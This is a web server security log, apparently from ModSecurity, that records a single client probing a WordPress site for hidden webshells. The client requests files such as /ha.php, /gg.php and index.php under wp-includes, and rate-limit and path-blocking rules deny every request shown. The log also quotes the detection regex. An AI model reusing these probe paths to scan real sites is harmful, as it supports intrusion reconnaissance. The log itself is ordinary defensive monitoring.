[Tue Mar 24 01:08:29.314986 2026] [:error] [pid 56435:tid 56517] [client 20.220.216.188:29614] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "acFzjcrwr-l5A-s9ryBwDwAAARA"]
[Tue Mar 24 01:08:29.728841 2026] [:error] [pid 56435:tid 56521] [client 20.220.216.188:29393] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "acFzjcrwr-l5A-s9ryBwEgAAARQ"]
[Tue Mar 24 01:08:30.147929 2026] [:error] [pid 56435:tid 56516] [client 20.220.216.188:29421] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "acFzjsrwr-l5A-s9ryBwFgAAAQ8"]
[Tue Mar 24 01:08:30.565555 2026] [:error] [pid 56435:tid 56522] [client 20.220.216.188:29540] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "acFzjsrwr-l5A-s9ryBwGQAAARU"]
[Tue Mar 24 01:08:30.977883 2026] [:error] [pid 56435:tid 56525] [client 20.220.216.188:29398] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "acFzjsrwr-l5A-s9ryBwGgAAARg"]
[Tue Mar 24 01:08:31.400976 2026] [:error] [pid 56237:tid 56324] [client 20.220.216.188:29401] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acFzjwymO0MnzQb90MMhtAAAAIM"]
[Tue Mar 24 01:08:31.813120 2026] [:error] [pid 56237:tid 56335] [client 20.220.216.188:29483] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acFzjwymO0MnzQb90MMhtgAAAI4"]
[Tue Mar 24 01:08:32.226717 2026] [:error] [pid 56237:tid 56331] [client 20.220.216.188:29465] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acFzkAymO0MnzQb90MMhuQAAAIo"]
[Tue Mar 24 01:08:32.637856 2026] [:error] [pid 56435:tid 56510] [client 20.220.216.188:29484] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acFzkMrwr-l5A-s9ryBwHQAAAQo"]
[Tue Mar 24 01:08:33.058571 2026] [:error] [pid 56435:tid 56521] [client 20.220.216.188:29442] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "acFzkcrwr-l5A-s9ryBwHgAAARQ"]
[Tue Mar 24 01:08:33.511306 2026] [:error] [pid 56435:tid 56505] [client 20.220.216.188:29561] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "acFzkcrwr-l5A-s9ryBwIAAAAQY"]
[Tue Mar 24 01:08:33.929442 2026] [:error] [pid 56236:tid 56298] [client 20.220.216.188:29676] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "acFzkXapFgYp0uZ8twAe2AAAAEU"]
[Tue Mar 24 01:08:34.346544 2026] [:error] [pid 56435:tid 56518] [client 20.220.216.188:29419] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "acFzksrwr-l5A-s9ryBwIgAAARE"]
[Tue Mar 24 01:08:34.792646 2026] [:error] [pid 56435:tid 56509] [client 20.220.216.188:29457] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "acFzksrwr-l5A-s9ryBwJgAAAQk"]
[Tue Mar 24 01:08:35.226507 2026] [:error] [pid 56238:tid 56364] [client 20.220.216.188:29446] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "acFzk1SqceFAZRgPDq6WvAAAANA"]
[Tue Mar 24 01:08:35.638617 2026] [:error] [pid 56435:tid 56502] [client 20.220.216.188:29400] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "acFzk8rwr-l5A-s9ryBwKgAAAQM"]
[Tue Mar 24 01:08:36.054227 2026] [:error] [pid 56236:tid 56317] [client 20.220.216.188:29473] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "acFzlHapFgYp0uZ8twAe2gAAAFg"]
[Tue Mar 24 01:08:36.474567 2026] [:error] [pid 56236:tid 56313] [client 20.220.216.188:29382] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "acFzlHapFgYp0uZ8twAe3AAAAFQ"]
[Tue Mar 24 01:08:36.909808 2026] [:error] [pid 56435:tid 56499] [client 20.220.216.188:29424] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "acFzlMrwr-l5A-s9ryBwLAAAAQA"]
[Tue Mar 24 01:08:37.323917 2026] [:error] [pid 56435:tid 56507] [client 20.220.216.188:29470] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "acFzlcrwr-l5A-s9ryBwLgAAAQc"]
[Tue Mar 24 01:08:37.739953 2026] [:error] [pid 56237:tid 56333] [client 20.220.216.188:29263] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "acFzlQymO0MnzQb90MMhvAAAAIw"]
[Tue Mar 24 01:08:38.157601 2026] [:error] [pid 56237:tid 56332] [client 20.220.216.188:29416] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "acFzlgymO0MnzQb90MMhvQAAAIs"]
[Tue Mar 24 01:08:38.567351 2026] [:error] [pid 56237:tid 56324] [client 20.220.216.188:29453] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "acFzlgymO0MnzQb90MMhvwAAAIM"]
[Tue Mar 24 01:08:38.984987 2026] [:error] [pid 56238:tid 56363] [client 20.220.216.188:29384] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "acFzllSqceFAZRgPDq6WwAAAAM8"]
[Tue Mar 24 01:08:39.399916 2026] [:error] [pid 56238:tid 56370] [client 20.220.216.188:29403] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "acFzl1SqceFAZRgPDq6WwQAAANY"]
[Tue Mar 24 01:08:39.815884 2026] [:error] [pid 56238:tid 56350] [client 20.220.216.188:29407] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "acFzl1SqceFAZRgPDq6WwgAAAMI"]
[Tue Mar 24 01:08:40.227640 2026] [:error] [pid 56237:tid 56334] [client 20.220.216.188:29459] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "acFzmAymO0MnzQb90MMhwgAAAI0"]
[Tue Mar 24 01:08:40.639462 2026] [:error] [pid 56238:tid 56354] [client 20.220.216.188:29565] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "acFzmFSqceFAZRgPDq6WxQAAAMY"]
[Tue Mar 24 01:08:41.057290 2026] [:error] [pid 56237:tid 56331] [client 20.220.216.188:29427] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "acFzmQymO0MnzQb90MMhxAAAAIo"]
[Tue Mar 24 01:08:41.469977 2026] [:error] [pid 56237:tid 56321] [client 20.220.216.188:29420] [client 20.220.216.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "acFzmQymO0MnzQb90MMhxgAAAIA"]
[Tue Mar 24 01:08:41.886345 2026] [:error] [pid 56237:tid 56328] [client 20.220.216.188:29438] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "acFzmQymO0MnzQb90MMhxwAAAIc"]
[Tue Mar 24 01:08:42.303990 2026] [:error] [pid 56435:tid 56504] [client 20.220.216.188:29413] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "acFzmsrwr-l5A-s9ryBwNgAAAQU"]
[Tue Mar 24 01:08:42.761094 2026] [:error] [pid 56238:tid 56355] [client 20.220.216.188:29380] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "acFzmlSqceFAZRgPDq6WygAAAMc"]
[Tue Mar 24 01:08:43.175186 2026] [:error] [pid 56435:tid 56524] [client 20.220.216.188:29488] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "acFzm8rwr-l5A-s9ryBwOQAAARc"]
[Tue Mar 24 01:08:43.599690 2026] [:error] [pid 56237:tid 56324] [client 20.220.216.188:29431] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "acFzmwymO0MnzQb90MMhzwAAAIM"]
[Tue Mar 24 01:08:44.012408 2026] [:error] [pid 56435:tid 56503] [client 20.220.216.188:29471] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "acFznMrwr-l5A-s9ryBwPwAAAQQ"]
[Tue Mar 24 01:08:44.426208 2026] [:error] [pid 56238:tid 56359] [client 20.220.216.188:29437] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "acFznFSqceFAZRgPDq6WzAAAAMs"]
[Tue Mar 24 01:08:44.837356 2026] [:error] [pid 56435:tid 56510] [client 20.220.216.188:29361] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "acFznMrwr-l5A-s9ryBwQQAAAQo"]
[Tue Mar 24 01:08:48.956077 2026] [:error] [pid 56435:tid 56523] [client 20.220.216.188:29435] [client 20.220.216.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "acFzoMrwr-l5A-s9ryBwYwAAARY"]
[Tue Mar 24 01:08:49.394003 2026] [:error] [pid 56435:tid 56499] [client 20.220.216.188:29381] [client 20.220.216.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "acFzocrwr-l5A-s9ryBwZgAAAQA"]
[Tue Mar 24 01:08:51.540544 2026] [:error] [pid 56236:tid 56302] [client 20.220.216.188:29433] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "acFzo3apFgYp0uZ8twAe7wAAAEk"]
[Tue Mar 24 01:08:51.956692 2026] [:error] [pid 56237:tid 56344] [client 20.220.216.188:29270] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "acFzowymO0MnzQb90MMh1wAAAJc"]
[Tue Mar 24 01:08:52.383219 2026] [:error] [pid 56238:tid 56350] [client 20.220.216.188:29425] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "acFzpFSqceFAZRgPDq6W2gAAAMI"]
[Tue Mar 24 01:08:52.821467 2026] [:error] [pid 56435:tid 56518] [client 20.220.216.188:29429] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "acFzpMrwr-l5A-s9ryBwfQAAARE"]
[Tue Mar 24 01:08:53.253642 2026] [:error] [pid 56435:tid 56508] [client 20.220.216.188:29315] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "acFzpcrwr-l5A-s9ryBwggAAAQg"]
[Tue Mar 24 01:08:53.684095 2026] [:error] [pid 56238:tid 56354] [client 20.220.216.188:29649] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "acFzpVSqceFAZRgPDq6W3wAAAMY"]
[Tue Mar 24 01:08:54.108966 2026] [:error] [pid 56237:tid 56334] [client 20.220.216.188:29335] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "acFzpgymO0MnzQb90MMh2wAAAI0"]
[Tue Mar 24 01:08:54.529856 2026] [:error] [pid 56238:tid 56349] [client 20.220.216.188:29434] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "acFzplSqceFAZRgPDq6W5gAAAME"]
[Tue Mar 24 01:08:54.941538 2026] [:error] [pid 56237:tid 56327] [client 20.220.216.188:29396] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "acFzpgymO0MnzQb90MMh3AAAAIY"]
[Tue Mar 24 01:08:55.397824 2026] [:error] [pid 56237:tid 56321] [client 20.220.216.188:29563] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "acFzpwymO0MnzQb90MMh3QAAAIA"]
[Tue Mar 24 01:08:55.819523 2026] [:error] [pid 56237:tid 56331] [client 20.220.216.188:29341] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "acFzpwymO0MnzQb90MMh3gAAAIo"]
[Tue Mar 24 01:08:56.237324 2026] [:error] [pid 56435:tid 56504] [client 20.220.216.188:29468] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "acFzqMrwr-l5A-s9ryBwhwAAAQU"]
[Tue Mar 24 01:08:56.700290 2026] [:error] [pid 56238:tid 56359] [client 20.220.216.188:29272] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "acFzqFSqceFAZRgPDq6W9QAAAMs"]
[Tue Mar 24 01:08:57.152678 2026] [:error] [pid 56435:tid 56503] [client 20.220.216.188:29469] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "acFzqcrwr-l5A-s9ryBwiAAAAQQ"]
[Tue Mar 24 01:08:57.563410 2026] [:error] [pid 56237:tid 56325] [client 20.220.216.188:29371] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "acFzqQymO0MnzQb90MMh4gAAAIQ"]
